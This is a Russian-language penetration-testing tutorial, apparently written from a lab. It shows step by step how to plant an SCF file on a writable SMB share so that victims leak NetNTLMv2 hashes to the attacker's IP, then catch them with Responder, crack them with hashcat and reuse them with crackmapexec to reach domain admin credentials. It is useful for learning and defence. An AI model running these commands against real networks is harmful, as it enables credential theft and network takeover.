Способы получения NetNTLMv2 хешей пользователей через общедоступный сетевой ресурс
Ищем общедоступный каталог
Воспользуемся нашим любимым Nmap-ом.
$ nmap -p445 -sV --script=smb-enum-shares 192.168.0.0/24
Здесь мы сканируем всю нашу подсеть в поисках открытых 445-ых портов. Для каждого обнаруженного сервиса SMB применим скрипт smb-enum-shares.nse, который перечислит доступные каталоги и права на них.
Например, вот тут ловить нечего:
А вот тут – можно разгуляться:
Чтож. Других общедоступных пользовательских каталогов на запись я всё равно не нашёл. Поработаем с этим.
Заливаем в “шару” SCF-файл
Подключимся по SMB анонимно:
$ smbclient \\\\192.168.0.103\\SHARE
на предложение ввести пароль – оставляем пустым. Вот наша SMB-консоль клиента.
Зальём туда SCF-файлик с произвольным именем:
Содержимое файла простое – самое главное, что путь к иконке ведёт на наш собственный IP-адрес (путь может не существовать, главное адрес).
[Shell] Command=2 IconFile=\\192.168.0.105\dir\litladmin.ru.ico [Taskbar] Command=ToggleDesktop
Заливаем файлик командой put:
Теперь запускаем на нашем, 105-ом сетевом узле responder и дожидаемся хешей. Напомню, пользователю достаточно просто открыть каталог с SCF-файликом, чтобы к нам полетели хеши.
Хеш есть! Теперь попытаемся подобрать пароль. Кстати, сложность NetNTLMv2 выше, чем NTLM, поэтому хешрейт на том же железе будет похуже. Ну чтож, понадеемся, что пароль у пользователя не сложный.
Подбираем пароль NetNTLMv2
Первым делом определяем тип хеша. Для этого:
# hashcat --help | grep NTLMv2
Ставим на перебор. Я использую такую команду:
# hashcat -m 5600 -a 3 /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.0.101.txt -w 2 -O -1 ?l?d -i --increment-min=1 --increment-max=6 ?1?1?1?1?1?1
Здесь:
- -m 5600 – тип NetNTLMv2
- -a 3 – атака перебора по маске
- /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.0.101.txt – имя файла с хешами
- -w 2 – второй профиль мощности (Workload), от 1 до 4. 4 – самый мощный, больше всего сторость, но и нагрев значительный, даже указатель мыши тормозит
- -O – оптимизация ядра, если возможно
- -1 ?l?d – определяем пользовательский словарь из маленьких латинских и цифр
- -i –increment-min=1 –increment-max=6 – будем последовательно перебирать сперва 1-символьные пароли, затем двухсимвольные и т.д. до 6-ти. Дальше – я просто недождусь на своём процессоре.
- ?1?1?1?1?1?1 – маска. Одначает, что в каждой из 6-ти позиций будет использоваться первый пользовательский словарь (определён ранее).
Пароль успешно взломан:
Проверяем через crackmapexec:
# crackmapexec smb 192.168.0.101 -u la -p qwert
Заветная строчка (Pwn3d!) означает, что получили привилегии администратора!
Пошаримся по каталогам, залогинившись под пользователем la:
# smbclient -U 'LITLADMIN\la' \\\\192.168.0.101\\C$
Один из способов повышения привилегий – найти какой-нибудь файлик с учётными данными. Такое встречается довольно часто, кстати говоря.
Вот и данные для входа под доменным администратором.
Вот и сказочке конец. Пример хоть и синтетический, но такое имеет место быть сплошь и рядом.